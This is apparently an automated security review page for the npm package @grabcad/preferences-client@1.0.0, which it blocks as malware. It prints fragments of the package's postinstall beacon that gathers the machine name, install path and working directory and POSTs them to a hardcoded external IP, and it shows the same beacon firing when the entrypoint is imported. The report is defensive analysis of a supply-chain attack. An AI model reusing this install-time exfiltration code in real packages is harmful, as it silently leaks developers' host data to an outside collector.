registry / Data exfiltration / @grabcad/preferences-client / 1.0.0

@grabcad/preferences-client@1.0.0

Compatibility shim.

AI Security Review

scanned 5h ago · by lpm-firewall-ai

Source inspection confirms an unguarded install-time beacon that sends host and installation identifiers to a fixed external recipient. The main entrypoint independently triggers the same disclosure on import, supporting a block for data exfiltration.

Static reason

One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review

Trigger

The package's postinstall hook runs, or an application imports the main entrypoint.

Impact

The recipient receives identifying information about the machine and its installation context without an installer consent gate.

Mechanism

The beacon sends a POST request containing the machine name, install path, working directory, and npm version to a hardcoded recipient.

Attack narrative

The automatic install hook sends machine and package installation identifiers to a fixed external collector. The main entrypoint also triggers this disclosure when imported.

AI rationale

Evidence

package.jsonbeacon.cjsindex.js

Network endpoints1

185.158.107.175:8787/_ah/dc

Decision evidence

public snapshot

AI called this Malicious at 97.0% confidence as Malware with low false-positive risk.

Evidence for block

The package runs a beacon automatically from its postinstall hook.
The beacon sends a POST request to a fixed external IP address.
Its payload includes the machine name, install path, working directory, and npm version.
Importing the main entrypoint also fires the beacon.

Evidence against

Behavioral surface

Source

Network

Supply chain

UrlStrings

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 2.29 KB of source, external domains: 185.158.107.175

Source & flagged code

9 flagged

package.jsonView file

•scripts.postinstall = node beacon.cjs

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "postinstall": "node beacon.cjs" }, "

High

Suspicious Lifecycle Evidence

The package runs a beacon automatically from its postinstall hook.

package.jsonView on unpkg · L6

beacon.cjsView file

3// recipient can correlate an install. No data beyond that is collected or sent. L4: var BEACON = "http://185.158.107.175:8787/_ah/dc"; L5: var PKG = "@grabcad/preferences-client"; ... L10: var lib = u.protocol === 'https:' ? require('https') : require('http'); L11: var data = Buffer.from(JSON.stringify(payload)); L12: var req = lib.request({ ... L20: req.setTimeout(5000, function () { try { req.destroy(); } catch (e) {} resolve(); }); L21: req.write(data); req.end(); L22: } catch (e) { resolve(); } ... L27: package: PKG, L28: hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(), L29: installPath: __dirname,

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

beacon.cjsView on unpkg · L3

•matchType = malicious_source_fingerprint_signature signature = a5258e167635ba3a signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = @blueskydataplatform/shared-ui@2.0.0 matchedPath = beacon.cjs matchedIdentity = npm:[redacted]:2.0.0 similarity = 1.000 shingleOverlap = 2 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

beacon.cjsView on unpkg

4var BEACON = "http://185.158.107.175:8787/_ah/dc"; var PKG = "@grabcad/preferences-client"; function _post(payload) { return new Promise(function (resolve) { try { var

High

Ai Review Evidence

The beacon sends a POST request to a fixed external IP address.

beacon.cjsView on unpkg · L4

12var req = lib.request({ hostname: u.hostname, port: u.port || (u.protocol === 'https:' ? 443 : 80), path: u.pathname + u.search, method: 'POST', headers: { 'content-type': 'application/json', 'content-length': data.length, 'x-beacon-package': PKG } }, function (res) { res.resume(); res.on('end', resolve

High

Ai Review Evidence

The beacon sends a POST request to a fixed external IP address.

beacon.cjsView on unpkg · L12

25function fire() { var payload = { package: PKG, hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(), installPath: __dirname, cwd: (function () { try { return process.cwd(); } catch (e) { return ''; } })(), userAgent: 'npm/' + (process.version || ''), protocol: (BEACON.indexOf('https:') === 0) ? 'https' : 'http' }; return _post(payload); } if (require.main === module) { fire

High

Ai Review Evidence

Its payload includes the machine name, install path, working directory, and npm version.

beacon.cjsView on unpkg · L25

21req.write(data); req.end(); } catch (e) { resolve(); } }); } function fire() { var payload = { package: PKG,

High

Ai Review Evidence

Its payload includes the machine name, install path, working directory, and npm version.

beacon.cjsView on unpkg · L21

index.jsView file

4try { require('./beacon.cjs').fire(); } catch (e) {} // Export a defensive Proxy: any property access returns a no-op function, so a // bundler that imports named/default members o

High

Ai Review Evidence

Importing the main entrypoint also fires the beacon.

index.jsView on unpkg · L4

Source & flagged code

9 flagged · loading source

package.jsonView file

•scripts.postinstall = node beacon.cjs

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "postinstall": "node beacon.cjs" }, "

High

Suspicious Lifecycle Evidence

The package runs a beacon automatically from its postinstall hook.

package.jsonView on unpkg · L6

beacon.cjsView file

Findings

9 High1 Medium2 Low

HighInstall Time Lifecycle Scriptspackage.json

HighHost Fingerprint Exfiltrationbeacon.cjs

HighKnown Malware Source Fingerprint Signaturebeacon.cjs

HighSuspicious Lifecycle Evidencepackage.json

HighAi Review Evidencebeacon.cjs

HighAi Review Evidenceindex.js

MediumNetwork

LowScripts Present

LowUrl Strings

Affected versions and remediation

This report applies to @grabcad/preferences-client@1.0.0.

See all versions of @grabcad/preferences-client for other recorded verdicts.

Avoid installing @grabcad/preferences-client@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-23 00:51:16.402Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

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